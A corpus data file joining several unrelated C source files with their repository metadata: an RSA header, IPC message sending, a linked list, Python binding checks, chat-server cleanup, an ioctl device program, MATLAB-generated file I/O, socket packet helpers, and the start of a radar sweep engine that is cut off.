"url": "https://raw.githubusercontent.com/LiZeC123/RSA/d392d77b92dc308c0989494ccae29e9674ad8233/RSA2.0/RSA.h",
"visit_date": "2021-01-18T21:47:59.433896"
} | stackv2 | #ifndef _RSA_H_
#define _RSA_H_
#define PRIMER_HASH 1207472236
//包含配置信息的结构
typedef struct {
int configuration_from_file;
int total_number;
//随机素数的范围
int L_MIT;
int R_MIT;
//单次加密的字母数量
int BITWIDTH;
}Configuration;
//包含公钥与私钥信息的结构
typedef struct{
int Pub_key;
int Pri_key;
int n;
}Key;
//初始化程序运行需要的文件
void Initialize(void);
//获取从文本读入的配置信息
void GetConfiguration(void);
//获得公钥和私钥
Key GetKey(void);
//将获取的密钥对保存为文本文件
void SaveKey(Key key);
//参数为公钥,对文本进行加密
void encrype(int e,int n);
//参数为私钥,对文本解密
void decode(int d,int n);
//记录全部字符数量的全局变量
int Total_Number;
//记录配置信息的全局变量
Configuration configuration;
#endif
| 2.15625 | 2 |
2024-11-18T22:25:57.177941+00:00 | 2021-02-06T14:22:01 | 02b4a8e239f5a55825ae289222f4d753f9e92e90 | {
"blob_id": "02b4a8e239f5a55825ae289222f4d753f9e92e90",
"branch_name": "refs/heads/main",
"committer_date": "2021-02-06T14:22:01",
"content_id": "0e81a65347036b14ac87b3e4dac6e7312f601571",
"detected_licenses": [
"MIT"
],
"directory_id": "5f841485402a6e9a384b2804ecacbc7e46022f34",
"extension": "c",
"filename": "msg_send.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 306982521,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 840,
"license": "MIT",
"license_type": "permissive",
"path": "/Lectures/16.11.2020/msg_send.c",
"provenance": "stackv2-0115.json.gz:145417",
"repo_name": "mevljas/System-Software",
"revision_date": "2021-02-06T14:22:01",
"revision_id": "a689708dc54794537fed701300150de71e6923a7",
"snapshot_id": "86a98cc9b214ed8a3125dafd1d53fc4e5f0ffe5e",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/mevljas/System-Software/a689708dc54794537fed701300150de71e6923a7/Lectures/16.11.2020/msg_send.c",
"visit_date": "2023-02-27T11:51:48.537940"
} | stackv2 | #include <stdio.h>
#include <string.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <errno.h>
struct mymesg {
long mtype;
char mtext[128];
};
void main()
{
// buf je primerek te stutkure
struct mymesg buf;
key_t key;
int id;
// Kljuc si lahko zmislimo
// key = 12345;
// lahko uporabimo ftok - boljse Ker bo zelo erjetno unique ( ni pa ziher)
if ( (key = ftok("/home", 'a')) < 0){
perror("ftok");
}
// mode je read write za vse
// Ce ne obstaja, ga ustvari
if ( (id = msgget( key, 0666 | IPC_CREAT)) < 0)
perror("msget");
buf.mtype = 8;
//buf.mtype = 5;
strcpy( buf.mtext, "abcd efgh ijkl");
// +1 je, da bo še ničla
// ne bo flagov
if ( msgsnd( id, &buf, strlen(buf.mtext) + 1, 0) < 0){
perror("msgsnd");
}
} | 2.671875 | 3 |
2024-11-18T22:25:58.538075+00:00 | 2021-06-20T18:11:04 | 88f4d057f31d1bf136d3853dd363bf845d8c45fe | {
"blob_id": "88f4d057f31d1bf136d3853dd363bf845d8c45fe",
"branch_name": "refs/heads/main",
"committer_date": "2021-06-20T18:11:04",
"content_id": "d1ae7c32515f689be2cf4be35f8b3117bc8fa740",
"detected_licenses": [
"MIT"
],
"directory_id": "3db22e1780ba3721c9f1f9423b53049305e443ef",
"extension": "c",
"filename": "linked_list.c",
"fork_events_count": 1,
"gha_created_at": "2021-04-01T19:19:52",
"gha_event_created_at": "2021-04-05T19:15:32",
"gha_language": "C",
"gha_license_id": "MIT",
"github_id": 353803686,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 3031,
"license": "MIT",
"license_type": "permissive",
"path": "/Lists/linked-list/linked_list.c",
"provenance": "stackv2-0115.json.gz:146195",
"repo_name": "CristinaNilvan/c-data-structures",
"revision_date": "2021-06-20T18:11:04",
"revision_id": "d7eb1aaa5f3e2691ad8d0ae24abc978d543db5b4",
"snapshot_id": "a33d096a6e3793d53e861eb4cb47171b9b2ad9fb",
"src_encoding": "UTF-8",
"star_events_count": 2,
"url": "https://raw.githubusercontent.com/CristinaNilvan/c-data-structures/d7eb1aaa5f3e2691ad8d0ae24abc978d543db5b4/Lists/linked-list/linked_list.c",
"visit_date": "2023-06-03T10:49:50.969589"
} | stackv2 | #include <stdio.h>
#include <stdlib.h>
#include "linked_list.h"
Node * createNode(int key)
{
Node * node = (Node *)malloc(sizeof(Node));
node->key = key;
node->next = NULL;
return node;
}
Node * searchNode(Node * first, int givenKey)
{
Node * current = first;
while (current != NULL)
{
if (current->key == givenKey)
break;
current = current->next;
}
return current;
}
void insertFirst(Node ** first, Node ** last, int givenKey)
{
Node * node = createNode(givenKey);
*first == NULL ? (*last = node) : (node->next = *first);
*first = node;
}
void insertLast(Node ** first, Node ** last, int givenKey)
{
Node * node = createNode(givenKey);
*last == NULL ? (*first = node) : ((*last)->next = node);
*last = node;
}
void insertAfterKey(Node ** first, Node ** last, int afterKey, int givenKey)
{
Node * current = *first;
current = searchNode(current, afterKey);
if (current == NULL)
return;
Node * node = createNode(givenKey);
node->next = current->next;
current->next = node;
if (current == *last)
*last = node;
}
void deleteFirst(Node ** first, Node ** last)
{
Node * toDelete;
if (*first == NULL)
return;
toDelete = *first;
*first = (*first)->next;
free(toDelete);
if (*first == NULL)
*last = NULL;
}
void getLastTwoElementsAddress(Node ** last, Node ** toDelete, Node ** previousNode)
{
while ((*toDelete) != *last)
{
(*previousNode) = (*toDelete);
(*toDelete) = (*toDelete)->next;
}
}
void setLastElement(Node ** last, Node * previousNode)
{
previousNode->next = NULL;
*last = previousNode;
}
void setNodeToDelete(Node ** first, Node ** last, const Node * toDelete, Node * previousNode)
{
if (toDelete == *first)
first = last = NULL;
else
setLastElement(last, previousNode);
}
void deleteLast(Node ** first, Node ** last)
{
Node * toDelete = *first;
Node * previousNode = NULL;
if (toDelete == NULL)
return;
getLastTwoElementsAddress(last, &toDelete, &previousNode);
setNodeToDelete(first, last, toDelete, previousNode);
}
void deleteGivenKey(Node ** first, Node ** last, int givenKey)
{
Node * toDelete = *first;
Node * previousNode = NULL;
while (toDelete != NULL)
{
if (toDelete->key == givenKey)
break;
previousNode = toDelete;
toDelete = toDelete->next;
}
if (toDelete == NULL)
return;
if (toDelete == *first)
{
*first = (*first)->next;
free(toDelete);
if (*first == NULL)
*last = NULL;
}
else
{
previousNode->next = toDelete->next;
if (toDelete == *last)
*last = previousNode;
free(toDelete);
}
}
void printList(Node * node)
{
if (node == NULL)
{
printf("\n");
return;
}
printf("%d ", node->key);
printList(node->next);
}
| 3.5 | 4 |
2024-11-18T22:25:58.647424+00:00 | 2022-01-11T16:09:12 | 244d654309a1f2196e64b0d531b8ca3a098c5203 | {
"blob_id": "244d654309a1f2196e64b0d531b8ca3a098c5203",
"branch_name": "refs/heads/master",
"committer_date": "2022-01-11T16:09:12",
"content_id": "dc440bcd6093c5be147f38da73e75d4b75dc5867",
"detected_licenses": [
"BSD-2-Clause"
],
"directory_id": "2cad9b1b54c5b6283f39120d79ba6a4b2cf436b7",
"extension": "c",
"filename": "check.c",
"fork_events_count": 9,
"gha_created_at": "2014-08-06T08:23:17",
"gha_event_created_at": "2022-01-11T16:09:13",
"gha_language": "C",
"gha_license_id": "BSD-2-Clause",
"github_id": 22675222,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 650,
"license": "BSD-2-Clause",
"license_type": "permissive",
"path": "/check.c",
"provenance": "stackv2-0115.json.gz:146324",
"repo_name": "huku-/pyxed",
"revision_date": "2022-01-11T16:09:12",
"revision_id": "010e0bb4c40d77ce46b10c460cc7fa96b9485ea1",
"snapshot_id": "4442b7d5f45cf726ab4eda91396696350ec7fc7a",
"src_encoding": "UTF-8",
"star_events_count": 31,
"url": "https://raw.githubusercontent.com/huku-/pyxed/010e0bb4c40d77ce46b10c460cc7fa96b9485ea1/check.c",
"visit_date": "2022-02-07T15:49:32.663019"
} | stackv2 | /* pyxed - Python bindings for Intel's XED2
* huku <huku@grhack.net>
*
* check.c - Functions for checking the underlying type of `PyObject' variables.
*/
#include "includes.h"
#include "check.h"
/* We always check if the passed object pointer is `NULL' (i.e. the object has
* been deleted).
*/
int is_int(PyObject *object)
{
return (object && PyInt_CheckExact(object));
}
int is_long(PyObject *object)
{
return (object && PyLong_CheckExact(object));
}
int is_int_or_long(PyObject *object)
{
return (is_int(object) || is_long(object));
}
int is_string(PyObject *object)
{
return (object && PyString_CheckExact(object));
}
| 2.234375 | 2 |
2024-11-18T22:25:58.716434+00:00 | 2017-07-18T23:13:49 | c2fbb67fc0f983aba7efe36d312684e4b2993beb | {
"blob_id": "c2fbb67fc0f983aba7efe36d312684e4b2993beb",
"branch_name": "refs/heads/master",
"committer_date": "2017-07-18T23:13:49",
"content_id": "a72d42602d9de8e0197a2724fa87472d22683bc7",
"detected_licenses": [
"MIT"
],
"directory_id": "ffce2696bf6977da60deac216c37b6e00c351551",
"extension": "c",
"filename": "disconnect.c",
"fork_events_count": 0,
"gha_created_at": "2017-06-17T08:58:26",
"gha_event_created_at": "2017-07-11T12:02:22",
"gha_language": "C",
"gha_license_id": null,
"github_id": 94612195,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 1909,
"license": "MIT",
"license_type": "permissive",
"path": "/chat_server/src/disconnect.c",
"provenance": "stackv2-0115.json.gz:146453",
"repo_name": "Owanesh/unifi-eos",
"revision_date": "2017-07-18T23:13:49",
"revision_id": "c8e45161346866d2239ce52b692d4a5a2a63326f",
"snapshot_id": "f3db4ef5594caa054922a2a67fa2950de41dea70",
"src_encoding": "UTF-8",
"star_events_count": 2,
"url": "https://raw.githubusercontent.com/Owanesh/unifi-eos/c8e45161346866d2239ce52b692d4a5a2a63326f/chat_server/src/disconnect.c",
"visit_date": "2020-03-28T20:25:45.320910"
} | stackv2 | #include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h> /* unlink */
#include "header/client.h"
#include "header/server.h"
#include "header/disconnect.h"
int deleteHead(Client **head, pid_t pid);
int deleteNode(Client **head, pid_t pid);
Client* previousClient(Client **head, pid_t pid);
/*
* Elimina il client specificato da pid dalla lista.
*/
void disconnect(Client **head, char* cmd) {
if ((*head) == NULL) {
printf("\n [ERRORE] Nessun utente connesso");
return;
}
pid_t pid;
getPidFromCmd(cmd, &pid);
int fd;
if ((*head)->pid == pid) {
//eliminazione nodo iniziale
fd = deleteHead(head, pid);
} else {
//eliminazione nodo intermedio (o finale)
fd = deleteNode(head, pid);
}
// chisura ed eliminazione della pipe del client
char temp[50];
getClientPipePath(pid, temp);
closeConnection(fd, temp);
}
/*
* Rimuove il Client specificato e ritorna il fd della relativa pipe
*/
int deleteHead(Client **head, pid_t pid) {
int fd = (*head)->pipe;
Client* ptrToFree = *head;
*head = (*head)->next;
free(ptrToFree);
return fd;
}
/*
* Rimuove il Client specificato e ritorna il fd della relativa pipe
*/
int deleteNode(Client **head, pid_t pid) {
Client *previous = previousClient(head, pid);
int fd = 0;
if (previous != NULL) {
fd = previous->next->pipe;
Client* ptrToFree = previous->next;
previous->next = previous->next->next;
free(ptrToFree);
}
return fd;
}
/* Dato il pid, ritorna l'elemento precedente a quello richiesto*/
Client* previousClient(Client **head, pid_t pid) {
if ((*head) == NULL) {
return NULL;
}
Client *clone = *head;
do {
if (clone->next->pid == pid)
return clone;
clone = clone->next;
} while (clone != NULL);
return NULL;
}
/*Chiude la pipe e la elimina */
void closeConnection(int fd, char* pipePath) {
close(fd);
unlink(pipePath);
printf("\n[SUCCESS] Sessione terminata per %s ", pipePath);
}
| 3.5 | 4 |
2024-11-18T22:25:58.965704+00:00 | 2020-09-05T21:32:20 | 4e3e0e40cc0166d3d14d044771d32a71530035ed | {
"blob_id": "4e3e0e40cc0166d3d14d044771d32a71530035ed",
"branch_name": "refs/heads/master",
"committer_date": "2020-09-05T21:32:20",
"content_id": "687a7d2079fef855d85a5c03b7e903020d574a27",
"detected_licenses": [
"MIT"
],
"directory_id": "20f818e9aeb4f1e3e5412b8c8f588fa7e46321d9",
"extension": "c",
"filename": "userprog.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 293156865,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 2403,
"license": "MIT",
"license_type": "permissive",
"path": "/dumbest_module_in_the_world/DRIL/char_devices/dump_sur_ioctl/userprog.c",
"provenance": "stackv2-0115.json.gz:146582",
"repo_name": "miimoza/mfrc522",
"revision_date": "2020-09-05T21:32:20",
"revision_id": "cff527f3466e017a3827c2e81ec6e956b0119063",
"snapshot_id": "64afbf01b01dca4d41c815146752d31f24b631c5",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/miimoza/mfrc522/cff527f3466e017a3827c2e81ec6e956b0119063/dumbest_module_in_the_world/DRIL/char_devices/dump_sur_ioctl/userprog.c",
"visit_date": "2022-12-07T22:38:59.921407"
} | stackv2 | #include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <errno.h>
#include <fcntl.h>
#include <poll.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
static struct pollfd *create_pollfd(int fd) {
struct pollfd *pfd = malloc(sizeof(*pfd) /* A single FD is needed */);
if (! pfd) {
fprintf(stderr, "Failed to allocate memory\n");
return NULL;
}
pfd->fd = fd;
pfd->events = POLLIN;
pfd->revents = 0;
return pfd;
}
static int check_revents(struct pollfd *pfd) {
if (pfd->revents & POLLERR || /* Error while polling */
pfd->revents & POLLHUP || /* FD was closed */
pfd->revents & POLLNVAL || /* Invalid polling request */
! pfd->revents & POLLIN /* We want to be able to read */) {
return 1;
}
return 0;
}
static int send_dump_ioctl(int fd) {
/* The magic number used in our driver. */
const unsigned type = 42;
/* The subcommand we wish to invoke. In our driver, we
* chose to implement one: number 0. */
const unsigned nr = 0;
/* The ioctl has no direction (IOC_NONE), so we use _IO(). */
const unsigned cmd = _IO(type, nr);
if (ioctl(fd, cmd, NULL /* No args */) == -1) {
return 1;
}
return 0;
}
int main(int argc, char *argv[]) {
int status = 0;
if (argc != 2) {
fprintf(stderr, "Expected 1 argument (device path)\n");
status = 1;
goto end;
}
const char *dev = argv[1];
int fd = open(dev, O_RDONLY);
if (fd == -1) {
fprintf(stderr, "Failed to open %s; errno=%d\n", dev, errno);
status = 1;
goto end;
}
struct pollfd *pfd = create_pollfd(fd);
if (! pfd) {
fprintf(stderr, "Failed to setup pollfd\n");
status = 1;
goto close_fd;
}
/*
* Wait indefinitely for a read to be available.
* We may be interrupted by a signal; in which case we fail.
*/
int pollres = poll(pfd, 1, -1 /* Infinite timeout */);
if (pollres == -1) {
fprintf(stderr, "Failed to poll event; errno=%d\n", errno);
status = 1;
goto free_mem;
}
/*
* Check if the events we got are what we want.
*/
if (check_revents(pfd)) {
fprintf(stderr, "Polling events not as expected\n");
status = 1;
goto free_mem;
}
/*
* Send an ioctl to the device, so it dumps its contents.
*/
if (send_dump_ioctl(fd)) {
fprintf(stderr, "Failed to send ioctl; errno=%d\n", errno);
status = 1;
goto free_mem;
}
/*
* Cleanup
*/
free_mem:
free(pfd);
close_fd:
close(fd);
end:
return status;
}
| 2.984375 | 3 |
2024-11-18T22:25:59.359716+00:00 | 2020-12-11T22:23:43 | 1abc7b83954aa0eded9c9e03d532c8b91f2994e9 | {
"blob_id": "1abc7b83954aa0eded9c9e03d532c8b91f2994e9",
"branch_name": "refs/heads/master",
"committer_date": "2020-12-11T22:23:43",
"content_id": "084616bef25f558ac937eb603a916a828792479d",
"detected_licenses": [
"MIT"
],
"directory_id": "8d858854239a25201e0590a56500923d76d12f13",
"extension": "c",
"filename": "fileManager.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 264048865,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 2324,
"license": "MIT",
"license_type": "permissive",
"path": "/BatchScripts/cubicRegScript4Coder/fileManager.c",
"provenance": "stackv2-0115.json.gz:146711",
"repo_name": "tholdem/MatrixMultiplication",
"revision_date": "2020-12-11T22:23:43",
"revision_id": "91d603ac55cf9b1d373f88630a2ff245e93c6cb3",
"snapshot_id": "600f922bfd87d15c9c7da8f2de719848c52173fb",
"src_encoding": "UTF-8",
"star_events_count": 1,
"url": "https://raw.githubusercontent.com/tholdem/MatrixMultiplication/91d603ac55cf9b1d373f88630a2ff245e93c6cb3/BatchScripts/cubicRegScript4Coder/fileManager.c",
"visit_date": "2023-01-29T22:24:20.719809"
} | stackv2 | /*
* Academic License - for use in teaching, academic research, and meeting
* course requirements at degree granting institutions only. Not for
* government, commercial, or other organizational use.
* File: fileManager.c
*
* MATLAB Coder version : 4.1
* C/C++ source code generated on : 16-Jul-2020 13:59:20
*/
/* Include Files */
#include "rt_nonfinite.h"
#include "cubicRegScript4Coder.h"
#include "fileManager.h"
#include "cubicRegScript4Coder_emxutil.h"
#include "cubicRegScript4Coder_data.h"
/* Function Declarations */
static signed char filedata(void);
/* Function Definitions */
/*
* Arguments : void
* Return Type : signed char
*/
static signed char filedata(void)
{
signed char f;
int k;
boolean_T exitg1;
f = 0;
k = 0;
exitg1 = false;
while ((!exitg1) && (k < 20)) {
if (eml_openfiles[k] == NULL) {
f = (signed char)(k + 1);
exitg1 = true;
} else {
k++;
}
}
return f;
}
/*
* Arguments : const emxArray_char_T *cfilename
* const char * cpermission
* Return Type : signed char
*/
signed char cfopen(const emxArray_char_T *cfilename, const char * cpermission)
{
signed char fileid;
signed char j;
emxArray_char_T *ccfilename;
int i21;
int loop_ub;
FILE * filestar;
fileid = -1;
j = filedata();
if (j >= 1) {
emxInit_char_T(&ccfilename, 2);
i21 = ccfilename->size[0] * ccfilename->size[1];
ccfilename->size[0] = 1;
ccfilename->size[1] = cfilename->size[1] + 1;
emxEnsureCapacity_char_T(ccfilename, i21);
loop_ub = cfilename->size[1];
for (i21 = 0; i21 < loop_ub; i21++) {
ccfilename->data[i21] = cfilename->data[i21];
}
ccfilename->data[cfilename->size[1]] = '\x00';
filestar = fopen(&ccfilename->data[0], cpermission);
emxFree_char_T(&ccfilename);
if (filestar != NULL) {
eml_openfiles[j - 1] = filestar;
eml_autoflush[j - 1] = true;
i21 = j + 2;
if (i21 > 127) {
i21 = 127;
}
fileid = (signed char)i21;
}
}
return fileid;
}
/*
* Arguments : void
* Return Type : void
*/
void filedata_init(void)
{
FILE * a;
int i;
a = NULL;
for (i = 0; i < 20; i++) {
eml_autoflush[i] = false;
eml_openfiles[i] = a;
}
}
/*
* File trailer for fileManager.c
*
* [EOF]
*/
| 2.09375 | 2 |
2024-11-18T22:25:59.415895+00:00 | 2016-07-13T17:40:59 | d526e42c95ad99ce6f15be22b8aa2cddb1c36a11 | {
"blob_id": "d526e42c95ad99ce6f15be22b8aa2cddb1c36a11",
"branch_name": "refs/heads/master",
"committer_date": "2016-07-13T17:41:05",
"content_id": "344df62b70df6df38e339c0e90c3f0dd30df47b7",
"detected_licenses": [
"BSD-2-Clause",
"BSD-3-Clause"
],
"directory_id": "ea68920d0ba36ab13b8fefb84b949aaea38cec0a",
"extension": "c",
"filename": "RetroNetwork.c",
"fork_events_count": 0,
"gha_created_at": "2017-03-15T02:42:20",
"gha_event_created_at": "2017-03-15T02:42:20",
"gha_language": null,
"gha_license_id": null,
"github_id": 85020844,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 5506,
"license": "BSD-2-Clause,BSD-3-Clause",
"license_type": "permissive",
"path": "/3DSRemoteDesktopShared/source/RetroNetwork.c",
"provenance": "stackv2-0115.json.gz:146840",
"repo_name": "TheNightmanCodeth/3ds-remote-desktop",
"revision_date": "2016-07-13T17:40:59",
"revision_id": "f95c479e46d2fab64d8df2c17695f4086862c579",
"snapshot_id": "aef9a7934375e25c975680e221da017764387dbb",
"src_encoding": "UTF-8",
"star_events_count": 1,
"url": "https://raw.githubusercontent.com/TheNightmanCodeth/3ds-remote-desktop/f95c479e46d2fab64d8df2c17695f4086862c579/3DSRemoteDesktopShared/source/RetroNetwork.c",
"visit_date": "2021-01-22T17:29:15.674451"
} | stackv2 | /*
Copyright (c) 2015, Erick<RetroZelda>Folckemer
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
* Neither the name of the <organization> nor the
names of its contributors may be used to endorse or promote products
derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL <COPYRIGHT HOLDER> BE LIABLE FOR ANY
DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <stdlib.h>
#include <string.h>
//#include <malloc.h>
#include "RetroNetwork.h"
#ifdef _3DS
#include "ExtendedConsole.h"
#endif // _3DS
int RNSendData(int DestinationSocket, unsigned int nPacketID, unsigned int nDataSize, void* Data)
{
// create the packet to send
int nPacketLength = sizeof(Packet) + (nDataSize);
Packet* packet = (Packet*)malloc(nPacketLength);
packet->_PacketID = nPacketID;
packet->_PacketSize = nDataSize;
memcpy(packet->_PacketData, Data, nDataSize);
int nTotalSent = 0;
int nSendAmmount = 0;
do
{
nSendAmmount = send(DestinationSocket, (char*)packet + nTotalSent, nPacketLength, 0);
if(nSendAmmount < 0)
{
return -1;
}
nTotalSent += nSendAmmount;
} while(nTotalSent < nPacketLength);
free(packet);
return nTotalSent;
}
int RNRecieveData(int RecvSocket, Packet** pRecvPacket, int* nGetErrno)
{
int nPacketSize = sizeof(Packet);
Packet tempPacket;
int ret = recv(RecvSocket, (char*)&tempPacket, nPacketSize, 0);
if(ret > 0)
{
// determine hte full size of the data coming in
int nTotalSize = tempPacket._PacketSize + nPacketSize;
*pRecvPacket = (Packet*)malloc(nTotalSize);
if(*pRecvPacket == NULL)
{
if(nGetErrno)
{
*nGetErrno = nTotalSize;
}
return -2;
}
// put the temp into the final
memcpy(*pRecvPacket, (char*)&tempPacket, nPacketSize);
// recieve everything if we need to
int nTotalRetrieved = nPacketSize;
if(tempPacket._PacketSize > 0)
{
do
{
/*
#ifdef _3DS
PrintToScreen(GFX_TOP, 5, 5, "%d/%d = %d%%", nTotalRetrieved, nTotalSize, (int)(((float)nTotalRetrieved / (float)nTotalSize) * 100.0f));
printf("%d ", nTotalRetrieved);
#endif // _3DS
*/
//printf("\n0.");
//printf("1.");
ret = recv(RecvSocket, (char*)*pRecvPacket + nTotalRetrieved, nTotalSize - nTotalRetrieved, 0 );
//printf("2.");
if(ret > 0)
{
//printf("3.");
nTotalRetrieved += ret;
//printf("4.");
}
else
{
//printf("5.");
// if not EWOULDBLOCK, leave while setting the error
unsigned int error = errno;
//printf("6(%d).", error);
#ifdef _3DS
if(-error != EWOULDBLOCK && -error != EAGAIN)
#else
if(error != WSAEWOULDBLOCK)
#endif // _3DS
{
//printf("7.");
if(nGetErrno)
{
//printf("8.");
free(*pRecvPacket);
//printf("9.");
*pRecvPacket = NULL;
//printf("10.");
*nGetErrno = error;
//printf("11.");
return -1;
}
//printf("12.");
}
//printf("13.");
}
//printf("14.");
/*
#ifdef _3DS
PrintToScreen(GFX_TOP, 5, 5, "%d/%d = %d%%", nTotalRetrieved, nTotalSize, (int)(((float)nTotalRetrieved / (float)nTotalSize) * 100.0f));
printf("%d \n", ret);
#endif // _3DS
*/
}while(nTotalRetrieved < nTotalSize);
}
ret = nTotalRetrieved;
}
else
{
if(ret < 0)
{
if(nGetErrno)
{
*nGetErrno = errno;
return -1;
}
}
return -1;
}
return ret;
}
| 2.15625 | 2 |
2024-11-18T22:25:59.584694+00:00 | 2023-06-13T13:09:20 | 83272eca7b6e9aaa7e2d525292cdb8dd0acbff2e | {
"blob_id": "83272eca7b6e9aaa7e2d525292cdb8dd0acbff2e",
"branch_name": "refs/heads/master",
"committer_date": "2023-06-13T13:09:20",
"content_id": "cc743cc4c9fa650fd66a29cc8b3455bda85b2350",
"detected_licenses": [
"MIT"
],
"directory_id": "ff56a3767dcd36e8352e0a91dec5cd22057fddf3",
"extension": "c",
"filename": "RKSweepEngine.c",
"fork_events_count": 1,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 112542337,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 40372,
"license": "MIT",
"license_type": "permissive",
"path": "/source/RKSweepEngine.c",
"provenance": "stackv2-0115.json.gz:147100",
"repo_name": "OURadar/RadarKit",
"revision_date": "2023-06-13T13:09:20",
"revision_id": "ae6278125eb478e41c7c711235306dcfeda2bdfd",
"snapshot_id": "6481b4fc562ab1ab3bfc08862f8547f92158ca9a",
"src_encoding": "UTF-8",
"star_events_count": 6,
"url": "https://raw.githubusercontent.com/OURadar/RadarKit/ae6278125eb478e41c7c711235306dcfeda2bdfd/source/RKSweepEngine.c",
"visit_date": "2023-07-02T09:14:10.409401"
} | stackv2 | //
// RKSweep.c
// RadarKit
//
// Created by Boonleng Cheong on 1/15/17.
// Copyright © 2017-2021 Boonleng Cheong. All rights reserved.
//
#include <RadarKit/RKSweepEngine.h>
// Internal Functions
static void RKSweepEngineUpdateStatusString(RKSweepEngine *);
#pragma mark - Helper Functions
static void RKSweepEngineUpdateStatusString(RKSweepEngine *engine) {
int i;
char *string;
// Status string
string = engine->statusBuffer[engine->statusBufferIndex];
// Always terminate the end of string buffer
string[RKStatusStringLength - 1] = '\0';
string[RKStatusStringLength - 2] = '#';
// Use RKStatusBarWidth characters to draw a bar
i = *engine->rayIndex * RKStatusBarWidth / engine->radarDescription->rayBufferDepth;
memset(string, '.', RKStatusBarWidth);
string[i] = 'S';
// Engine lag
snprintf(string + RKStatusBarWidth, RKStatusStringLength - RKStatusBarWidth, " %s%02.0f%s",
rkGlobalParameters.showColor ? RKColorLag(engine->lag) : "",
99.49f * engine->lag,
rkGlobalParameters.showColor ? RKNoColor : "");
engine->statusBufferIndex = RKNextModuloS(engine->statusBufferIndex, RKBufferSSlotCount);
}
static void *rayReleaser(void *in) {
RKSweepEngine *engine = (RKSweepEngine *)in;
int i, s;
RKRay *ray;
// Grab the anchor reference as soon as possible
const uint8_t scratchSpaceIndex = engine->scratchSpaceIndex;
// Notify the thread creator that I have grabbed the parameter
engine->tic++;
// Wait for a moment
s = 0;
do {
usleep(10000);
} while (++s < 10 && engine->state & RKEngineStateWantActive);
if (engine->verbose > 1) {
RKLog("%s rayReleaser() scratchSpaceIndex = %d\n", engine->name, scratchSpaceIndex);
}
// Set them free
for (i = 0; i < engine->scratchSpaces[scratchSpaceIndex].rayCount; i++) {
ray = engine->scratchSpaces[scratchSpaceIndex].rays[i];
ray->header.s = RKRayStatusVacant;
}
return NULL;
}
static void *sweepManager(void *in) {
RKSweepEngine *engine = (RKSweepEngine *)in;
int i, j, p, s;
// Grab the anchor reference as soon as possible
const uint8_t scratchSpaceIndex = engine->scratchSpaceIndex;
// Notify the thread creator that I have grabbed the parameter
engine->tic++;
// Collect rays that belong to a sweep to a scratch space
RKSweep *sweep = RKSweepCollect(engine, scratchSpaceIndex);
if (sweep == NULL) {
if (engine->verbose > 1) {
RKLog("%s Empty sweep scratchSpaceIndex = %d\n", scratchSpaceIndex);
}
return NULL;
}
if (engine->verbose) {
RKRay *S = sweep->rays[0];
RKRay *E = sweep->rays[sweep->header.rayCount - 1];
RKLog("%s C%02d E%.2f/%.2f-%.2f A%.2f-%.2f M%02x-%02x (%s x %s%d%s, %.1f km)\n",
engine->name,
S->header.configIndex,
sweep->header.config.sweepElevation,
S->header.startElevation , E->header.endElevation,
S->header.startAzimuth , E->header.endAzimuth,
S->header.marker & 0xFF , E->header.marker & 0xFF,
RKIntegerToCommaStyleString(sweep->header.gateCount),
rkGlobalParameters.showColor && sweep->header.rayCount != 360 ? RKGetColorOfIndex(1) : "",
sweep->header.rayCount,
rkGlobalParameters.showColor ? RKNoColor : "",
1.0e-3f * S->header.gateCount * S->header.gateSizeMeters);
}
// Mark the rays being used by user algorithms
for (j = 0; j < sweep->header.rayCount; j++) {
sweep->rays[j]->header.s |= RKRayStatusBeingConsumed;
}
// Localize the scratch space storage
char *filename = engine->scratchSpaces[scratchSpaceIndex].filename;
char *filelist = engine->scratchSpaces[scratchSpaceIndex].filelist;
char *summary = engine->scratchSpaces[scratchSpaceIndex].summary;
int productCount = __builtin_popcount(sweep->header.baseProductList & engine->baseProductList);
// Base products
size_t productMemoryUsage = 0;
for (p = 0; p < productCount; p++) {
if (engine->baseMomentProductIds[p]) {
